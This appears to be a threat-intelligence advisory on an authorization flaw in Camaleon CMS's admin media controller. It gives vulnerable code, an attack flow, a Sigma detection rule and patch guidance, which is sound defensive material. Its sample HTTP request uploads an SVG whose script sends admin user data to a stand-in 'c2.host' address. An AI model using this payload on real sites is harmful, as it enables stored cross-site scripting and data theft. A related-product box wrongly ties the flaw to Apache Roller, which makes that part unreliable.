Skip to content

CVE-2026-120429: Camaleon CMS Admin::MediaController Missing Authorization Arbitrary File Upload & Avatar Tampering (VulnCheck Weaponized)

Density:
C-Level Executive Briefing CVE-2026-120429 CRITICAL SCORE 91/100

Critical authorization bypass in Camaleon CMS (a popular Ruby on Rails-based content management engine) cataloged as weaponized by VulnCheck on November 3, 2026, and tracked under GitHub Advisory GHSA-5v3p-m427-8mwr. The flaw resides in CamaleonCms::Admin::MediaController. Prior to version 2.9.2, the controller failed to verify role-based media management permissions for authenticated sessions. Any user with a minimal authenticated profile (such as self-registered subscribers or client accounts) can invoke administrative media endpoints: uploading arbitrary files via POST /admin/media/upload, exfiltrating confidential documents through download_private_file, and modifying arbitrary user avatars via crop actions. Hermes elevates the Hermes Threat Score (HTS) to 91 due to immediate downstream web compromise and initial access utility.

HYBRID

HERMES THREAT SCORE & WEB CMS ACCESS CONTROL EVALUATION

Target: Camaleon CMS Admin::MediaController & Media Storage Engine
Confidence: 97%
91 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-120429: Camaleon CMS Admin::MediaController Missing Authorization Arbitrary File Upload & Avatar Tampering (VulnCheck Weaponized)VULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTApache Roller Weblog Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Apache Roller Weblog Server documented in Hermes dossier.”

Supporting Verified Evidence:

Camaleon CMS is an open-source, advanced content management system built on Ruby on Rails. It provides modular theme systems, multi-site architecture, and integrated digital asset management.

The root cause of CVE-2026-120429 is missing authorization (CWE-862) inside CamaleonCms::Admin::MediaController. In the Ruby on Rails routing configuration, requests to /admin/media/* inherit basic session authentication from AdminController, but fail to enforce granular permission checks verifying whether the authenticated user holds administrative media rights (manage_media):

# app/controllers/camaleon_cms/admin/media_controller.rb (prior to 2.9.2)
module CamaleonCms
module Admin
class MediaController < AdminController
# Missing role verification callback!
# Only inherits before_action :authenticate_user! from AdminController
def upload
# Any authenticated user can upload files into public media directories
upload_data = params[:file]
path = params[:folder] || ''
cama_uploader.add_file(upload_data, path)
render json: { result: 'success' }
end
def download_private_file
# Allows reading private files without permission validation
file_path = params[:file]
send_file cama_uploader.get_private_file(file_path)
end
def crop
# Modifies arbitrary avatar pictures when saved_avatar parameter is passed
if params[:saved_avatar].present?
user = CamaleonCms::User.find(params[:user_id] || current_user.id)
user.update_avatar(params[:crop_data])
end
end
end
end
end

Because before_action :authorize_media_role! was absent, low-privileged authenticated users (such as public subscribers registered via self-service signup) bypass intended role isolation to perform high-privilege media manipulations.


The exploit chain enables an attacker to move from a basic subscriber registration to enterprise asset harvesting and persistence:

sequenceDiagram
autonumber
participant Attacker as Unprivileged Subscriber
participant Web as Camaleon CMS Rails Router
participant Controller as Admin::MediaController
participant Uploader as CamaUploader / Storage
participant DB as PostgreSQL / MySQL Database
Attacker->>Web: POST /users/login (Authenticate as low-privilege subscriber)
Web-->>Attacker: Session Cookie (camaleon_session)
Attacker->>Web: POST /admin/media/upload (Multipart upload: webshell.svg / payload.html)
Web->>Controller: Route to MediaController#upload (No role check)
Controller->>Uploader: add_file(payload, "public/media/")
Uploader-->>Controller: Stored at /media/1/exploit.svg
Controller-->>Attacker: 200 OK (file uploaded)
Attacker->>Web: GET /admin/media/download_private_file?file=confidential_contracts.pdf
Web->>Controller: Route to download_private_file
Controller->>Uploader: get_private_file("confidential_contracts.pdf")
Uploader-->>Attacker: Stream private enterprise document

An attacker issues an HTTP request using valid subscriber session cookies to upload files or exfiltrate private assets:

POST /admin/media/upload HTTP/1.1
Host: cms.enterprise.com
Cookie: _camaleon_cms_session=BAh7CEkiD3Nlc3Npb25faWQ...
Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="folder"
public
-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="file"; filename="payload.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch('/admin/users').then(r=>r.text()).then(t=>fetch('http://c2.host/log?c='+btoa(t)));
</script>
</svg>
-----------------------------974767299852498929531610575--

title: Camaleon CMS MediaController Missing Authorization Access
id: 120429e8-2921-4b13-912a-c0de12042911
status: experimental
description: Detects access to Camaleon CMS admin media endpoints originating from non-administrative authenticated users.
author: Hermes Codex Cyber Defense Team
date: 2026-11-03
references:
- https://vulncheck.com/advisories/camaleon-cms-before-2.9.2-missing-authorization-via-admin-mediacontroller
- https://nvd.nist.gov/vuln/detail/CVE-2026-120429
logsource:
category: webserver
product: camaleon_cms
detection:
selection_endpoints:
cs-uri-stem|contains:
- '/admin/media/upload'
- '/admin/media/download_private_file'
- '/admin/media/crop'
selection_post:
cs-method:
- 'POST'
- 'GET'
condition: selection_endpoints and selection_post
fields:
- c-ip
- cs-method
- cs-uri-stem
- cs-username
falsepositives:
- Legitimate administrative media operations
level: high
tags:
- attack.initial_access
- attack.t1190
- attack.collection
- attack.t1530

  1. Upgrade Camaleon CMS to 2.9.2: Update the camaleon_cms gem in your Gemfile to version 2.9.2 or later and run bundle update camaleon_cms. Version 2.9.2 introduces mandatory authorize_media_access! filters across all controller actions.
  2. Review Uploaded Public Media: Audit all assets stored in public/media/ for unapproved HTML, SVG, or executable scripts uploaded during unpatched windows.
  3. Disable Public Registration if Unnecessary: If the application does not require open user registration, disable self-registration in Camaleon CMS admin settings to eliminate the initial low-privilege access vector.
  4. Isolate Media Storage: Serve user-uploaded media through an isolated CDN or cloud object store (Amazon S3, Cloudflare R2) configured with strict Content-Disposition: attachment headers for SVG and XML formats to prevent stored Cross-Site Scripting.